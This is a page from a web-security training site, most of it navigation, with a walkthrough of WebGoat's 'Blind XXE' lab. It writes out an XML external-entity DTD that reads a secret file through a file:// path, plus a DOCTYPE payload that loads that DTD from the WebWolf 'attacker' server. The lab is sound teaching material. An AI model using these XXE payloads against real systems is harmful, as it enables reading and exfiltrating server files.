Welcome to Cycubix Docs
  • Welcome to Cycubix Docs
  • Our Cybersecurity Training Courses
  • Application Security Series
    • Web Application Security Essentials
      • Introduction | Web Application Security Essentials | Cycubix Docs
      • WebGoat | Web Application Security Essentials | Cycubix Docs
        • WebGoat Installation | Web Application Security | Cycubix Docs
          • Stand-alone
          • Docker
        • WebGoat & WebWolf Run | Web Application Security | Cycubix Docs
        • WebGoat Configuration | Web Application Security | Cycubix Docs
        • WebWolf | Web Application Security | Cycubix Docs
          • Webwolf Upload | WebWolf | Web Application Security | Cycubix
          • Webwolf Mail | WebWolf | Web Application Security | Cycubix
          • WebWolf Landing Page | Web Application Security | Cycubix Docs
        • WebGoat & WebWolf System Requirements | Cycubix Docs
      • ZAP | Web Application Security Essentials | Cycubix Docs
        • ZAP | Download & Installation | Cycubix Docs
        • ZAP | Persist ZAP Session | Cycubix Docs
        • ZAP | ZAP Proxy | Cycubix Docs
      • WebGoat Labs | Web Application Security Essentials | Cycubix Docs
        • General | HTTP Basics | Cycubix Docs
          • General | HTTP Basics (1) | Cycubix Docs
          • General | HTTP Basics (2) | Cycubix Docs
          • General | HTTP Basics (3) | Cycubix Docs
        • General | HTTP Proxies | Cycubix Docs
          • General | HTTP Proxies (1) | Cycubix Docs
          • General | HTTP Proxies (2) | Cycubix Docs
          • General | HTTP Proxies (3) | Cycubix Docs
          • General | HTTP Proxies (4) | Cycubix Docs
          • General | HTTP Proxies (5) | Cycubix Docs
          • General | HTTP Proxies (6) | Cycubix Docs
          • General | HTTP Proxies (7) | Cycubix Docs
          • General | HTTP Proxies (8) | Cycubix Docs
          • General | HTTP Proxies (9) | Cycubix Docs
        • General | Developer Tools | Cycubix Docs
          • General | Developer Tools (1) | Cycubix Docs
          • General | Developer Tools (2) | Cycubix Docs
          • General | Developer Tools (3) | Cycubix Docs
          • General | Developer Tools (4) | Cycubix Docs
          • General | Developer Tools (5) | Cycubix Docs
          • General | Developer Tools (6) | Cycubix Docs
        • General | The CIA Triad | Cycubix Docs
          • General | The CIA Triad (1) | Cycubix Docs
          • General | The CIA Triad (2) | Cycubix Docs
          • General | The CIA Triad (3) | Cycubix Docs
          • General | The CIA Triad (4) | Cycubix Docs
          • General | The CIA Triad (5) | Cycubix Docs
        • A1:2021 | Broken Access Control | Cycubix Docs
          • A1:2021 | Hijack a Session | Cycubix Docs
            • A1:2021 | Hijack a Session (1) | Cycubix Docs
            • A1:2021 | Hijack a Session (2) | Cycubix Docs
          • A1:2021 | Insecure Direct Object Reference | Cycubix Docs
            • A1:2021 | Insecure Direct Object Reference (1) | Cycubix Docs
            • A1:2021 | Insecure Direct Object Reference (2) | Cycubix Docs
            • A1:2021 | Insecure Direct Object Reference (3) | Cycubix Docs
            • A1:2021 | Insecure Direct Object Reference (4) | Cycubix Docs
            • A1:2021 | Insecure Direct Object Reference (5) | Cycubix Docs
            • A1:2021 | Insecure Direct Object Reference (6) | Cycubix Docs
          • A1:2021 | Missing Function Level Access Control | Cycubix Docs
            • A1:2021 | Missing Function Level Access Control (1) | Cycubix Docs
            • A1:2021 | Missing Function Level Access Control (2) | Cycubix Docs
            • A1:2021 | Missing Function Level Access Control (3) | Cycubix Docs
            • A1:2021 | Missing Function Level Access Control (4) | Cycubix Docs
          • A1:2021 | Spoofing an Authentication Cookie | Cycubix Docs
            • A1:2021 | Spoofing an Authentication Cookie (1) | Cycubix Docs
            • A1:2021 | Spoofing an Authentication Cookie (2) | Cycubix Docs
        • A2:2021 | Cryptographic Failures | Cycubix Docs
          • A2:2021 | Crypto Basics (1) | Cycubix Docs
          • A2:2021 | Crypto Basics (2) | Cycubix Docs
          • A2:2021 | Crypto Basics (3) | Cycubix Docs
          • A2:2021 | Crypto Basics (4) | Cycubics Docs
          • A2:2021 | Crypto Basics (5) | Cycubix Docs
          • A2:2021 | Crypto Basics (6) | Cycubix Docs
          • A2:2021 | Crypto Basics (7) | Cycubix Docs
          • A2:2021 | Crypto Basics (8) | Cycubix Docs
          • A2:2021 | Crypto Basics (9) | Cycubix Docs
        • A3:2021 | Injection | Cycubix Docs
          • A3:2021 | SQL Injection Intro | Cycubix Docs
            • A3:2021 | SQL Injection Intro (1) | Cycubix Docs
            • A3:2021 | SQL Injection Intro (2) | Cycubix Docs
            • A3:2021 | SQL Injection Intro (3) | Cycubix Docs
            • A3:2021 | SQL injection Intro (4) | Cycubix Docs
            • A3:2021 | SQL Injection Intro (5) | Cycubix Docs
            • A3:2021 | SQL Injection Intro (6) | Cycubix Docs
            • A3:2021 | SQL Injection Intro (7) | Cycubix Docs
            • A3:2021 | SQL Injection Intro (8) | Cycubix Docs
            • A3:2021 | SQL Injection Intro (9) | Cycubix Docs
            • A3:2021 | SQL Injection Intro (10) | Cycubix Docs
            • A3:2021 | SQL Injection Intro (11) | Cycubix Docs
            • A3:2021 | SQL Injection Intro (12) | Cycubix Docs
            • A3:2021 | SQL Injection Intro (13) | Cycubix Docs
          • A3:2021 | SQL Injection Advanced | Cycubix Docs
            • A3:2021 | SQL Injection Advanced (1) | Cycubix Docs
            • A3:2021 | SQL Injection Advanced (2) | Cycubix Docs
            • A3:2021 | SQL Injection Advanced (3) | Cycubix Docs
            • A3:2021 | SQL Injection Advanced (4) | Cycubix Docs
            • A3:2021 |SQL Injection Advanced (5) | Cycubix Docs
            • A3:2021 | SQL Injection Advanced (6)| Cycubix Docs
          • A3:2021 | Injection | SQL Injection Mitigation | Cycubix Docs
            • A3:2021 | SQL Injection Mitigation (1) | Cycubics Docs
            • A3:2021 | SQL Injection Mitigation (2) |
            • A3:2021 | SQL Injection Mitigation (3) | Cycubix Docs
            • A3:2021 | SQL Injection Mitigation (4) | Cycubix Docs
            • A3:2021 | SQL injection Mitigation (5) | Cycubix Docs
            • A3:2021 | SQL Injection Mitigation (6) | Cycubix Docs
            • A3:2021 | SQL Injection Mitigation (7) | Cycubix Docs
            • A3:2021 | SQL Injection Mitigation (8) | Cycubix Docs
            • A3:2021 | SQL Injection Mitigation (9) | Cycubix Docs
            • A3:2021 | SQL Injection Mitigation (10) | Cycubix Docs
            • A3:2021 | SQL Injection Mitigation (11) | Cycubix Docs
            • A3:2021 | SQL Injection Mitigation (12) | Cycubix Docs
            • A3:2021 | SQL Injection Mitigation (13) | Cycubix Docs
          • A3:2021 | Cross-Site Scripting (XSS) | Cycubix Docs
            • A3:2021 | Cross Site Scripting XXS (1) | Cycubix Docs
            • A3:2021 | Cross Site Scripting (XSS) (2) | Cycubix Docs
            • A3:2021 | Cross Site Scripting (XSS) (3) | Cycubix Docs
            • A3:2021 | Cross Site Scripting (XSS) (4) | Cycubix Docs
            • A3:2021 | Cross Site Scripting (XSS) (5) | Cycubix Docs
            • A3:2021 | Cross Site Scripting (XSS) (6) | Cycubix Docs
            • A3:2021 | Cross Site Scripting (XSS) (7) | Cycubix Docs
            • A3:2021 | Cross Site Scripting (XSS) (8) | Cycubix Docs
            • A3:2021 | Cross Site Scripting (XSS) (9) | Cycubix Docs
            • A3:2021 | Cross Site Scripting (XSS) (10) | Cycubix Docs
            • A3:2021 | Cross Site Scripting (XSS) (11) | Cycubix Docs
            • A3:2021 | Cross Site Scripting (XSS) (12) | Cycubix Docs
          • A3:2021 | Cross Site Scripting Stored | Cycubix Docs
            • A3:2021 | Cross Site Scripting Stored (1) | Cycubix Docs
            • A3:2021 | Cross Site Scripting Stored (2)
            • A3:2021 | Cross Site Scripting Stored (3) | Cycubix Docs
          • A3:2021 | Cross Site Scripting Mitigation | Cycubix Docs
            • A3:2021 | Cross Site Scripting Mitigation (1) | Cycubix Docs
            • A3:2021 | Cross Site Scripting Mitigation (2) | Cycubix Docs
            • A3:2021 | Cross Site Scripting Mitigation (3) | Cycubix Docs
            • A3:2021 | Cross Site Scripting Mitigation (4) | Cycubix Docs
            • A3:2021 | Cross Site Scripting Mitigation (5) | Cycubix Docs
            • A3:2021 | Cross Site Scripting Mitigation (6) |
          • A3:2021 | Path Transversal | Cycubix Docs
            • A3: 2021 | Path Transversal (1) | Cycubix Docs
            • A3:2021 | Path Transversal (2) | Cycubix Docs
            • A3:2021 | Path Transversal (3) | Cycubix Docs
            • A3:2021 | Path Transversal (4) | Cycubix Docs
            • A3:2021 | Path Transversal (5) | Cycubix Docs
            • A3:2023 | Path Transversal (6) | Cycubix Docs
            • A3:2021 | Path Transversal (7) | Cycubix Docs
            • A3:2021 | Path Transversal (8) | Cycubix Docs
        • A5:2021 | Security Misconfiguration | Cycubix Docs
          • A5:2021 | Security Misconfiguration (1) | Cycubix Docs
          • A5:2021 | Security Misconfiguration (2) | Cycubix Docs
          • A5:2021 | Security Misconfiguration (3) | Cycubix Docs
          • A5:2021 | Security Misconfiguration (4) | Cycubix Docs
          • A5:2021 | Security Misconfiguration (5) | Cycubix Docs
          • A5:2021 | Security Misconfiguration (6) | Cycubix Docs
          • A5:2021 | Security Misconfiguration (7) | Cycubix Docs
          • A5:2021 | Security Misconfiguration (8) | Cycubix Docs
          • A5:2021 | Security Misconfiguration (9) | Cycubix Docs
          • A5:2021 | Security Misconfiguration (10) | Cycubix Docs
          • A5:2021 | Security Misconfiguration (11) | Cycubix Docs
          • A5:2021 | Security Misconfiguration (12) | Cycubix Docs
          • A5:2021 | Security Misconfiguration (13) | Cycubix Docs
        • A6:2021 | Vulnerable and Outdated Components | Cycubix Docs
          • A6:2021 | Vulnerable and Outdated Components (1) | Cycubix Docs
          • A6:2021 | Vulnerable and Outdated Components (2) | Cycubix Docs
          • A6:2021 | Vulnerable and Outdated Components (3) | Cycubix Docs
          • A6:2021 | Vulnerable and Outdated Components (4) | Cycubix Docs
          • A6:2021 | Vulnerable and Outdated Components (5) | Cycubix Docs
          • A6:2021 | Vulnerable and Outdated Components (6) | Cycubix Docs
          • A6:2021 | Vulnerable and Outdated Components (7) | Cycubix Docs
          • A6:2021 | Vulnerable and Outdated Components (8) | Cycubix Docs
          • A6:2021 | Vulnerable and Outdated Components (9) | Cycubix Docs
          • A6:2021 | Vulnerable and Outdated Components (10) | Cycubix Docs
          • A6:2021 | Vulnerable and Outdated Components (11) | Cycubix Docs
          • A6:2021 | Vulnerable and Outdated Components (12) | Cycubix Docs
          • A6:2021 | Vulnerable and Outdated Components (13) | Cycubix Docs
        • A7:2021 | Identity and Authentication Failure | Cycubix Docs
          • A7:2021 | Authentication Bypasses | Cycubix Docs
            • A7:2021 | Authentication Bypasses (1) | Cycubix Docs
            • A7:2021 | Authentication Bypasses (2) | Cycubix Docs
          • A7:2021 | Insecure Login | Cycubix Docs
            • A7:2021 | Insecure Login (1) | Cycubix Docs
            • A7:2021 | Insecure Login (2) | Cycubix Docs
          • A7: 2021 | JWT Tokens | Cycubix Docs
            • A7: 2021 | JWT Tokens (1) | Cycubix Docs
            • A7: 2021 | JWT Tokens (2) | Cycubix Docs
            • A7: 2021 | JWT Tokens (3) | Cycubix Docs
            • A7: 2021 | JWT Tokens (4) | Cycubix Docs
            • A7: 2021 | JWT Tokens (5) | Cycubix Docs
            • A7: 2021 | JWT Tokens (6) | Cycubix Docs
            • A7: 2021 | JWT Tokens (7) | Cycubix Docs
            • A7: 2021 | JWT Tokens (8) | Cycubix Docs
            • A7: 2021 | JWT Tokens (9) | Cycubix Docs
            • A7: 2021 | JWT Tokens (10) | Cycubix Docs
            • A7: 2021 | JWT Tokens (11) | Cycubix Docs
            • A7: 2021 | JWT Tokens (12) | Cycubix Docs
            • A7: 2021 | JWT Tokens (13) | Cycubix Docs
            • A7: 2021 | JWT Tokens (14) | Cycubix Docs
            • A7: 2021 | JWT Tokens (15) | Cycubix Docs
            • A7: 2021 | JWT Tokens (16) | Cycubix Docs
            • A7: 2021 | JWT Tokens (17) | Cycubix Docs
            • A7: 2021 | JWT Tokens (18) | Cycubix Docs
            • A7: 2021 | JWT Tokens (19) | Cycubix Docs
          • A7:2021 | Password Reset | Cycubix Docs
            • A7:2021 | Password Reset (1) | Cycubix Docs
            • A7:2021 | Password Reset (2) | Cycubix Docs
            • A7:2021 | Password Reset (3) | Cycubix Docs
            • A7:2021 | Password Reset (4) | Cycubix Docs
            • A7:2021 | Password Reset (5) | Cycubix Docs
            • A7:2021 | Password Reset (6) | Cycubix Docs
            • A7:2021 | Password Reset (7) | Cycubix Docs
          • A7:2021 | Secure Passwords | Cycubix Docs
            • A7:2021 | Secure Passwords (1) | Cycubix Docs
            • A7:2021 | Secure Passwords (2) | Cycubix Docs
            • A7:2021 | Secure Passwords (3) | Cycubix Docs
            • A7:2021 | Secure Passwords (4) | Cycubix Docs
            • A7:2021 | Secure Passwords (5) | Cycubix Docs
            • A7:2021 | Secure Passwords (6) | Cycubix Docs
        • A8:2021 | Software and Data Integrity | Cycubix Docs
          • A8:2021 | Software and Data Integrity | Insecure Deserialization (1) | Cycubix Docs
          • A8:2021 | Software and Data Integrity | Insecure Deserialization (2) | Cycubix Doc
          • A8:2021 | Software and Data Integrity | Insecure Deserialization (3) | Cycubix Doc
          • A8:2021 | Software and Data Integrity | Insecure Deserialization (4) | Cycubix Doc
          • A8:2021 | Software and Data Integrity | Insecure Deserialization (5) | Cycubix Doc
        • A9:2021 | Security Logging Failures | Cycubix Docs
          • A9:2021 | Logging Security (1) | Cycubix Docs
          • A9:2021 | Logging Security (2) | Cycubix Docs
          • A9:2021 | Logging Security (3) | Cycubix Docs
          • A9:2021 | Logging Security (4) | Cycubix Docs
          • A9:2021 | Logging Security (5) | Cycubix Docs
        • A10: 2021 | Server Side Request Forgery | Cycubix Docs
          • A10:2021 | Server Side Request Forgery | Cross Site Request Forgery | Cycubix Docs
            • A10:2021 | Server Side Request Forgery | Cross Site Request Forgery (1) | Cycubix Docs
            • A10:2021 | Server Side Request Forgery | Cross Site Request Forgery (2) | Cycubix Docs
            • A10:2021 | Server Side Request Forgery | Cross Site Request Forgery (3) | Cycubix Docs
            • A10:2021 | Server Side Request Forgery | Cross Site Request Forgery (4) | Cycubix Docs
            • A10:2021 | Server Side Request Forgery | Cross Site Request Forgery (5) | Cycubix Docs
            • A10:2021 | Server Side Request Forgery | Cross Site Request Forgery (6) | Cycubix Docs
            • A10:2021 | Server Side Request Forgery | Cross Site Request Forgery (7) | Cycubix Docs
            • A10:2021 | Server Side Request Forgery | Cross Site Request Forgery (8) | Cycubix Docs
            • A10:2021 | Server Side Request Forgery | Cross Site Request Forgery (9) | Cycubix Docs
          • A10:2021 | Client Side Request Forgery | Cycubix Docs
            • A10:2021 | Server Side Request Forgery (1) | Cycubix Docs
            • A10:2021 | Server Side Request Forgery (2) | Cycubix Docs
            • A10:2021 | Server Side Request Forgery (3) | Cycubix Docs
            • A10:2021 | Server Side Request Forgery (4) | Cycubix Docs
        • Client Side | Cycubix Docs
          • Client Side | Bypass Front End Restrictions | Cycubix Docs
            • Client Side | Bypass Front End Restrictions (1) | Cycubix Docs
            • Client Side | Bypass Front End Restrictions (2) | Cycubix Docs
            • Client Side | Bypass Front End Restrictions (3) | Cycubix Docs
          • Client Side Filtering | Cycubix Docs
            • Client Side | Client Side Filtering (1) | Cycubix Docs
            • Client Side | Client Side Filtering (2) | Cycubix Docs
            • Client Side | Client Side Filtering (3) | Cycubix Docs
          • Client Side | HTML Tampering | Cycubix Docs
            • Client Side | HTML Tampering (1) | Cycubix Docs
            • Client Side | HTML Tampering (2) | Cycubix Docs
            • Client Side | HTML Tampering (3) | Cycubix Docs
        • Challenges | Cycubix Docs
          • Challenges | Admin Lost Password | Cycubix Docs
          • Challenges | Without password | Cycubix Docs
          • Challenges | Admin Password Reset | Cycubix Docs
          • Challenges | Without Account | Cycubox Docs
  • ISC2 Courses
    • CCSP
      • CCSP Domains
      • CCSP Resource Materials
        • CCSP Mind Map | Cycubix Docs
        • CCSP Official Study Guide
        • CCSP Official Practice Tests
        • CCSP Online Test Bank
    • CISSP
      • CISSP Domains
        • Domain 1: Security and Risk Management
        • Domain 2: Asset Security
          • Link Encryption vs End-to-End Encryption
        • Domain 3: Security Architecture and Engineering
        • Domain 4: Communication and Network Security
        • Domain 5: Identity and Access Management (IAM)
        • Domain 6: Security Assessment and Testing
        • Domain 7: Security Operations
        • Domain 8: Software Development Security
      • CISSP Resource Materials
        • CISSP Official Flashcards
        • CISSP Mind Map | Cycubix Docs
        • CISSP Exam Outline
        • CISSP Official Study Guide
        • CISSP Official Practice Tests
        • CISSP Online Test Bank
        • CISSP Glossary
    • CSSLP
      • CSSLP Resource Materials
        • ISC2 CSSLP Official Flashcards
        • CSSLP Mind Map | Cycubix Docs
        • CSSLP Exam Outline | Cycubix Docs
    • Lexicon
      • A
      • B
  • AWS Courses
    • AWS Certified Security – Specialty (SCS-C02)
  • Crowdstrike
    • Troubleshooting Mac Devices
      • Mac sensors on macOS Ventura may fail to remove Falcon.app when uninstalling
      • System Extensions not activated
  • Jamf
    • Jamf Protect
Powered by GitBook
On this page

Was this helpful?

  1. Application Security Series
  2. Web Application Security Essentials
  3. WebGoat Labs | Web Application Security Essentials | Cycubix Docs
  4. A5:2021 | Security Misconfiguration | Cycubix Docs

A5:2021 | Security Misconfiguration (11) | Cycubix Docs

PreviousA5:2021 | Security Misconfiguration (10) | Cycubix DocsNextA5:2021 | Security Misconfiguration (12) | Cycubix Docs

Last updated 10 months ago

Was this helpful?

Blind XXE assignment

In the previous page we showed you how you can ping a server with a XXE attack, in this assignment try to make a DTD which will upload the contents of a file secret.txt from the WebGoat server to our WebWolf server. You can use WebWolf to serve your DTD. The secret.txt is located on the WebGoat server in this location, so you do not need to scan all directories and files:

OS

Location

Linux

/home/webgoat/.webgoat-v8.0.0-SNAPSHOT//XXE/secret.txt

Try to upload this file using WebWolf landing page for example: (NOTE: this endpoint is under your full control) Once you obtained the contents of the file post it as a new comment on the page and you will solve the lesson.

Solution

  • Hints: This assignment is more complicated you need to upload the contents of a file to the attackers site (WebWolf in this case) You cannot combine external entities in combination with internal entities.

  • An example DTD can be found [[webgoat base url]]/WebGoat/xxe/sampledtd, include this DTD in the xml comment.

  • Use for the comment, be aware to replace the url accordingly: [%remote;]>test&send;

  • Login to Webwolf. Upload contents_file.dtd on WebWolf.

With ZAP

  • Start WebGoat and WebWolf.

  • Save on a notepad the following file:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY secret SYSTEM 'file:////home/webgoat/.webgoat-2023.8//XXE/username/secret.txt'>
  • Upload the DTD file to WebWolf. Once uploaded you will see the link address to access the file.

  • Add a comment on WebGoat and intercept the POST request. Send the request to editor:

  • Replace this section for the following code:

<?xml version="1.0"?>
<!DOCTYPE lesson11 [
  <!ENTITY % lesson11dtd SYSTEM "http://localhost:9090/WebWolf/files/username/attack2.dtd">
  %lesson11dtd;
]>
<comment><text>lesson11comment &secret;</text></comment>
  • We have added after defining the Entity Type, the link to the file uploadad in WebWolf. You can replace that path according to your own username.

  • Go back to WebGoat and post a comment. When we do that the webapp will load the content of the secret file.

Use parameter entities to perform the attack, see for example:

https://www.acunetix.com/blog/articles/xml-external-entity-xxe-limitations/
http://localhost:9090/landing?text=contents_file